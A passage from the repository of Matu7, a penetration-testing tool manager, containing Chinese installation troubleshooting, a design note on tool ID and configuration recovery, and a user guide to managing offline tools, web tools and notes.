将端口号修改为您希望使用的端口 127 | 4. 重新编译程序 128 | 129 | ## 常见安装问题 130 | 131 | ### Windows 系统问题 132 | 133 | #### 程序无法启动 134 | 135 | **问题**:双击程序后没有反应 136 | **解决方案**: 137 | 1. 尝试以管理员身份运行程序 138 | 2. 检查是否有杀毒软件阻止程序运行 139 | 3. 确认是否已安装.NET Framework 140 | 141 | #### 浏览器未自动打开 142 | 143 | **问题**:程序启动后浏览器未自动打开 144 | **解决方案**:手动在浏览器中访问 `http://localhost:58080` 145 | 146 | ### macOS 系统问题 147 | 148 | #### "无法打开应用程序"错误 149 | 150 | **问题**:macOS显示"无法打开应用程序,因为它来自身份不明的开发者" 151 | **解决方案**: 152 | 1. 在访达中找到应用程序 153 | 2. 按住Control键并点击应用程序图标 154 | 3. 从快捷菜单中选择"打开" 155 | 4. 在对话框中点击"打开" 156 | 157 | #### 权限问题 158 | 159 | **问题**:出现"权限被拒绝"错误 160 | **解决方案**:确保已正确设置可执行权限:`chmod +x matu7` 161 | 162 | ### Linux 系统问题 163 | 164 | #### 缺少依赖库 165 | 166 | **问题**:启动程序时提示缺少某些库文件 167 | **解决方案**:安装所需的依赖库,例如: 168 | ```bash 169 | # 在Debian/Ubuntu系统上 170 | sudo apt-get install libgtk-3-0 libwebkit2gtk-4.0-37 171 | 172 | # 在CentOS/RHEL系统上 173 | sudo yum install gtk3 webkit2gtk3 174 | ``` 175 | 176 | #### 权限问题 177 | 178 | **问题**:无法执行程序 179 | **解决方案**:确保文件具有执行权限:`chmod +x matu7` 180 | 181 | ## 升级指南 182 | 183 | 升级到新版本的Matu7时,请按照以下步骤操作: 184 | 185 | 1. 备份您的配置和笔记: 186 | - 复制`config`目录 187 | - 复制`notes`目录 188 | 189 | 2. 下载并解压新版本的Matu7 190 | 191 | 3. 将备份的`config`和`notes`目录复制到新版本的目录中 192 | 193 | 4. 启动新版本的程序 194 | 195 | 5. 验证您的配置和笔记是否正确加载 196 | 197 | ## 卸载指南 198 | 199 | Matu7是便携式应用程序,卸载非常简单: 200 | 201 | 1. 关闭Matu7程序(如果正在运行) 202 | 2. 删除Matu7的程序目录 203 | 3. 如果您希望保留配置和笔记,可以备份`config`和`notes`目录 -------------------------------------------------------------------------------- /docs/guide/tool_id_management.md: -------------------------------------------------------------------------------- 1 | # 工具ID与配置管理 2 | 3 | 本文档详细描述Matu7系统中的工具ID生成、配置保存和恢复机制,特别是针对工具移动、重命名和删除场景的处理逻辑。 4 | 5 | ## 工具ID机制 6 | 7 | ### ID格式与生成 8 | 9 | - **ID格式**: `{工具名称}-{YYYYMMDD}`,例如`nmap-20250720` 10 | - **ID文件**: 每个工具目录中会创建一个隐藏的ID文件,格式为`.{工具ID}.json` 11 | - **ID唯一性**: ID用于唯一标识工具,即使工具被移动或重命名,只要ID文件存在,系统仍能识别它是同一个工具 12 | 13 | ### ID文件处理 14 | 15 | - **新工具扫描**: 首次扫描到工具时,系统会生成ID并创建ID文件 16 | - **旧格式兼容**: 系统会自动将旧格式的`.id.json`文件转换为新格式`.{工具ID}.json` 17 | - **ID文件检测**: 扫描工具时会检查目录中是否存在ID文件,并从中提取ID 18 | 19 | ## 工具配置管理 20 | 21 | ### 配置存储 22 | 23 | - **配置文件**: 所有工具配置存储在`config/offline_tools_*.json`文件中 24 | - **删除工具配置**: 已删除工具的配置存储在`config/offline_tool_delete.json`中 25 | - **笔记文件**: 工具笔记存储在`notes/offline_tools/{工具ID}.txt`中 26 | 27 | ### 工具移动与重命名 28 | 29 | 当工具被移动或重命名时,系统会执行以下操作: 30 | 31 | 1. **检测变更**: 系统通过比较新旧工具列表,检测工具的移动或重命名 32 | 2. **保存配置**: 将原始工具配置保存到删除工具配置文件中 33 | 3. **恢复配置**: 在新位置检测到带有ID文件的工具时,系统会: 34 | - 从删除工具配置中查找匹配的ID 35 | - 恢复原始配置,但只更新路径和分类信息,保留原始名称和其他所有配置 36 | - 从删除工具配置中移除该条目 37 | 38 | ### 工具删除 39 | 40 | 当工具被真正删除时(文件系统中不再存在): 41 | 42 | 1. **检测删除**: 系统检测到工具ID和路径都不存在于新扫描结果中 43 | 2. **保存配置**: 将完整配置保存到删除工具配置文件中,以便将来可能的恢复 44 | 45 | ## 工具恢复机制 46 | 47 | 当检测到新增工具时,系统会尝试恢复其配置: 48 | 49 | 1. **ID匹配**: 首先通过ID精确匹配查找已删除的配置 50 | 2. **目录名匹配**: 如果ID匹配失败,则尝试通过工具目录名匹配 51 | 3. **ID前缀匹配**: 如果上述都失败,则尝试通过ID的前缀部分(工具名部分)匹配 52 | 4. **配置恢复**: 找到匹配的已删除配置后,恢复所有原始配置,只更新路径和分类信息 53 | 5. **移除记录**: 成功恢复后,从已删除配置中移除该记录 54 | 55 | ## 刷新工具逻辑 56 | 57 | 点击"刷新工具"按钮时,系统执行以下操作: 58 | 59 | 1. **扫描工具库**: 扫描当前配置的工具库路径,获取所有工具信息 60 | 2. **对比工具列表**: 将扫描结果与当前配置中的工具列表进行对比 61 | 3. **处理删除工具**: 检测并处理已删除、移动或重命名的工具 62 | 4. **处理新增工具**: 检测新增工具,尝试从已删除配置中恢复配置 63 | 5. **保留配置信息**: 对于路径变更但ID保持不变的工具,保留所有原始配置 64 | 6. **更新配置文件**: 将更新后的工具列表保存到配置文件中 65 | 66 | ## 注意事项 67 | 68 | - **ID文件重要性**: ID文件是识别工具身份的关键,请勿手动删除或修改 69 | - **工具移动**: 移动工具时,请保留其ID文件,以确保配置能被正确恢复 70 | - **配置备份**: 系统会自动备份已删除工具的配置,无需手动操作 71 | - **恢复优先级**: 系统优先通过ID匹配恢复配置,其次是目录名和ID前缀匹配 -------------------------------------------------------------------------------- /docs/guide/user_guide.md: -------------------------------------------------------------------------------- 1 | # Matu7 使用指南 2 | 3 | ## 概述 4 | 5 | Matu7是一款专为安全专业人员和爱好者设计的渗透测试工具管理平台,提供高效、便捷的本地离线渗透测试工具和常用在线资源的统一管理解决方案。本指南将详细介绍Matu7的各项功能及使用方法。 6 | 7 | ## 登录系统 8 | 9 | Matu7采用JWT认证机制,确保您的工具库安全。 10 | 11 | 1. 首次启动Matu7后,浏览器将自动打开登录界面(`http://localhost:58080/login`) 12 | 2. 使用默认凭据登录(请参考安装文档获取默认凭据) 13 | 3. 登录成功后,系统将显示主界面 14 | 4. 要退出登录,点击侧边栏顶部的退出按钮 15 | 16 | ## 用户界面 17 | 18 | Matu7采用统一的用户界面风格,确保在各个功能模块中提供一致的用户体验: 19 | 20 | 1. **表单控件**:所有输入框采用统一的高度、边框和焦点样式 21 | 2. **标签输入**:离线工具、网页工具和网页笔记中的标签输入框具有相同的交互方式 22 | - 输入标签后按Enter添加 23 | - 智能提示常用标签和最近使用标签 24 | - 标签输入提示直接显示在输入框下方 25 | 3. **分类选择**:统一的分类选择界面和交互方式 26 | 4. **卡片样式**:统一的工具和笔记卡片设计和交互逻辑 27 | 28 | ## 离线工具管理 29 | 30 | ### 工具库管理 31 | 32 | Matu7支持多个工具库(根目录)的动态管理,每个库拥有独立的配置文件。 33 | 34 | #### 查看工具库 35 | 36 | 1. 在左侧导航栏选择"离线工具" 37 | 2. 系统将显示当前工具库中的所有工具,按分类组织 38 | 3. 每个分类旁边显示该分类下的工具数量 39 | 40 | #### 添加工具库根目录 41 | 42 | 1. 点击界面上方的"添加根目录"按钮 43 | 2. 在弹出的对话框中输入或选择新的工具库根目录路径 44 | 3. 点击"确定"按钮,系统将自动扫描并加载该目录下的工具 45 | 46 | #### 切换工具库 47 | 48 | 1. 点击界面上方的工具库下拉菜单 49 | 2. 从列表中选择要切换的工具库 50 | 3. 系统将自动加载所选工具库的工具 51 | 52 | #### 删除工具库 53 | 54 | 1. 点击工具库列表中目标工具库旁边的红色垃圾箱图标 55 | 2. 在确认对话框中点击"确定",系统将移除该工具库配置(注意:这只会删除配置,不会删除实际文件) 56 | 57 | ### 工具操作 58 | 59 | #### 查看工具 60 | 61 | - 工具以卡片形式展示,包含图标、名称、描述等信息 62 | - 点击分类名称可筛选显示该分类下的工具 63 | - 点击标签可筛选显示带有该标签的工具 64 | 65 | #### 执行工具 66 | 67 | 1. 点击工具卡片中的"执行"按钮 68 | 2. 系统将根据预设命令在新窗口中启动工具 69 | - Windows系统:将打开cmd窗口,自动切换到工具目录并执行命令 70 | - macOS/Linux系统:将打开终端窗口执行命令 71 | 72 | #### 打开工具目录 73 | 74 | 1. 点击工具卡片中的"目录"按钮 75 | 2. 系统将打开文件管理器,显示该工具所在的目录 76 | 77 | #### 编辑工具信息 78 | 79 | 1. 点击工具卡片中的"编辑"按钮 80 | 2. 在弹出的编辑窗口中,可修改工具的名称、描述、标签、命令等信息 81 | 3. 完成编辑后点击"保存"按钮应用更改 82 | 83 | #### 编辑工具笔记 84 | 85 | 1. 点击工具卡片中的"笔记"按钮 86 | 2. 在弹出的笔记编辑窗口中,输入或修改与该工具相关的笔记内容 87 | 3. 点击编辑框外部区域自动保存笔记内容 88 | 89 | ### 工具命令配置 90 | 91 | #### 基本命令配置 92 | 93 | 在工具编辑窗口中,可以配置执行命令,支持以下特殊变量: 94 | - `${TOOL_PATH}`:自动替换为工具的完整路径 95 | - `${TOOL_NAME}`:自动替换为工具的名称 96 | 97 | #### 文件浏览器辅助 98 | 99 | 1. 点击"浏览文件"按钮打开内置文件浏览器 100 | 2. 导航到目标文件,点击文件名可复制其路径 101 | 3. 将复制的路径粘贴到命令输入框中,快速构建执行命令 102 | 103 | #### 命令示例 104 | 105 | **Windows系统命令示例**: 106 | - 直接执行可执行文件:`程序名.exe 参数` 107 | - 执行Python脚本:`python script.py 参数` 108 | - 执行批处理文件:`脚本名.bat 参数` 109 | - 执行PowerShell脚本:`powershell -ExecutionPolicy Bypass -File 脚本名.ps1 参数` 110 | 111 | **macOS/Linux系统命令示例**: 112 | - 执行可执行文件:`./程序名 参数` 113 | - 执行Python脚本:`python3 script.py 参数` 114 | - 执行Shell脚本:`bash script.sh 参数` 115 | - 执行具有执行权限的脚本:`chmod +x script.sh && ./script.sh 参数` 116 | 117 | ### 工具标签管理 118 | 119 | 1. 在工具编辑窗口中,可以为工具添加多个标签 120 | 2. 在标签输入框中输入标签名称,按Enter键添加 121 | 3. 系统会显示常用标签和最近使用的标签,点击可快速添加 122 | 4. 标签输入时,系统会根据输入内容提供智能提示,提示框显示在输入框正下方 123 | 5. 点击已添加标签上的"×"按钮可移除该标签 124 | 125 | ## 网页工具管理 126 | 127 | ### 添加网页工具 128 | 129 | 1. 点击"网页工具"页面上的"添加工具"按钮 130 | 2. 在弹出的窗口中填写以下信息: 131 | - 工具名称(必填) 132 | - 工具URL(必填) 133 | - 分类(可选) 134 | - 标签(可选,多个标签用逗号分隔或按Enter添加) 135 | - 描述(可选) 136 | 3. 点击"保存"按钮完成添加 137 | 138 | ### 网页工具操作 139 | 140 | #### 打开网页工具 141 | 142 | - 点击工具卡片中的"打开"按钮,系统将在新标签页中打开该工具网址 143 | 144 | #### 编辑网页工具 145 | 146 | 1. 点击工具卡片中的"编辑"按钮 147 | 2. 在弹出的编辑窗口中修改工具信息 148 | 3. 点击"保存"按钮应用更改 149 | 150 | #### 删除网页工具 151 | 152 | 1. 点击工具卡片中的"删除"按钮 153 | 2. 在确认对话框中点击"确定"删除该工具 154 | 155 | #### 编辑网页工具笔记 156 | 157 | 1. 点击工具卡片中的"笔记"按钮 158 | 2. 在弹出的笔记编辑窗口中编辑笔记内容 159 | 3. 点击编辑框外部区域自动保存笔记 160 | 161 | ### 网页工具分类与标签 162 | 163 | #### 分类管理 164 | 1. 在添加或编辑网页工具时,可以在分类输入框中输入分类名称 165 | 2. 系统会显示常用分类和最近使用的分类,点击可快速选择 166 | 3. 分类输入时,系统会提供智能提示,显示在输入框下方 167 | 4. 左侧导航栏会显示所有分类及其包含的工具数量 168 | 169 | #### 标签管理 170 | 1. 在添加或编辑网页工具时,可以为工具添加多个标签 171 | 2. 标签输入界面与离线工具保持一致,提供相同的交互体验 172 | 173 | ## 网页笔记 174 | 175 | ### 添加网页笔记 176 | 177 | 1. 点击左侧导航栏中的"网页笔记" 178 | 2. 点击"添加笔记"按钮 179 | 3. 在弹出的窗口中填写以下信息: 180 | - 标题(必填) 181 | - URL(必填) 182 | - 来源(可选) 183 | - 工具(可选,关联使用的工具) 184 | - 标签(可选,多个标签按Enter添加) 185 | - 笔记内容(可选) 186 | 4. 点击"保存"按钮完成添加 187 | 188 | ### 网页笔记操作 189 | 190 | #### 查看笔记 191 | 192 | - 点击笔记卡片展开查看完整内容 193 | 194 | #### 编辑笔记 195 | 196 | 1. 点击笔记卡片中的"编辑"按钮 197 | 2. 在弹出的编辑窗口中修改笔记信息 198 | 3. 点击"保存"按钮应用更改 199 | 200 | #### 删除笔记 201 | 202 | 1. 点击笔记卡片中的"删除"按钮 203 | 2. 在确认对话框中点击"确定"删除该笔记 204 | 205 | #### 打开来源网页 206 | 207 | - 点击笔记卡片中的URL链接,在新标签页中打开原始网页 208 | 209 | ## 搜索功能 210 | 211 | ### 普通搜索 212 | 213 | 1. 在界面上方的搜索框中输入关键词 214 | 2. 系统将实时显示包含该关键词的工具或笔记 215 | 3. 搜索范围包括工具名称、描述、分类、URL等字段 216 | 4. 点击搜索框右侧的清除按钮可重置搜索结果 217 | 218 | ### 标签搜索 219 | 220 | 1. 在搜索框中使用格式`标签:xxx`进行搜索 221 | 2. 系统将显示包含指定标签的工具或笔记 222 | 3. 标签搜索支持模糊匹配,会从所有标签中查找匹配项 223 | 224 | ## 高级功能 225 | 226 | ### 工具统计 227 | 228 | 系统自动记录工具的使用情况,包括: 229 | - 使用次数:记录每个工具被执行的次数 230 | - 最后使用时间:记录工具最近一次被使用的时间 231 | 232 | ### 图标管理 233 | 234 | #### 自动获取图标 235 | 236 | - 添加网页工具时,系统会自动尝试从工具网站获取图标 237 | - 离线工具会尝试从工具目录或官方网站获取图标 238 | 239 | #### 刷新图标 240 | 241 | 1. 在网页工具页面,点击"刷新所有图标"按钮可重新获取所有工具的图标 242 | 2. 在工具编辑窗口中,可以手动设置工具图标 243 | 244 | ## 常见问题解答 245 | 246 | ### 工具执行问题 247 | 248 | #### Windows执行问题 249 | 250 | **问题**:执行命令时出现"文件名、目录名或卷标语法不正确"错误 251 | **解决方案**:检查命令中是否包含特殊字符,尝试使用双引号包围路径 252 | 253 | #### 权限问题 254 | 255 | **问题**:macOS/Linux下无法执行工具 256 | **解决方案**:确保工具文件具有执行权限,使用`chmod +x 文件名`命令授予权限 257 | 258 | #### 路径问题 259 | 260 | **问题**:工具路径包含空格或特殊字符导致执行失败 261 | **解决方案**:在命令中使用双引号包围路径,如`"C:\Program Files\工具名\工具.exe"` 262 | 263 | ### 界面问题 264 | 265 | #### 工具不显示 266 | 267 | **问题**:添加的工具未在界面上显示 268 | **解决方案**:点击"刷新"按钮重新加载工具列表,检查工具目录结构是否符合要求 269 | 270 | #### 图标不显示 271 | 272 | **问题**:工具图标显示为默认图标 273 | **解决方案**:点击"刷新所有图标"按钮,或在工具编辑窗口中手动设置图标 274 | 275 | ## 数据存储与备份 276 | 277 | ### 配置文件 278 | 279 | - 主配置文件:`config/offline_tools.json` 280 | - 根目录配置文件:`config/offline_tools_目录名.json` 281 | - 网页工具配置文件:`config/web_tools.json` 282 | - 网页笔记配置文件:`config/web_notes.json` 283 | 284 | ### 笔记文件 285 | 286 | - 离线工具笔记:`notes/offline_tools/工具ID.txt` 287 | - 网页工具笔记:`notes/web_tools/工具名.txt` 288 | 289 | ### 备份建议 290 | 291 | - 定期备份`config`和`notes`目录,保护您的配置和笔记数据 292 | - 可以使用版本控制系统(如Git)管理这些配置文件,实现版本追踪和回滚 -------------------------------------------------------------------------------- /matu7-linux-amd64-v2.0.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/matu7-linux-amd64-v2.0.1.tar.gz -------------------------------------------------------------------------------- /matu7-macos-amd64-v2.0.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/matu7-macos-amd64-v2.0.1.zip -------------------------------------------------------------------------------- /matu7-macos-arm64-v2.0.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/matu7-macos-arm64-v2.0.1.zip -------------------------------------------------------------------------------- /matu7-windows-amd64-v2.0.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/matu7-windows-amd64-v2.0.1.zip -------------------------------------------------------------------------------- /matu7.app.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/matu7.app.zip --------------------------------------------------------------------------------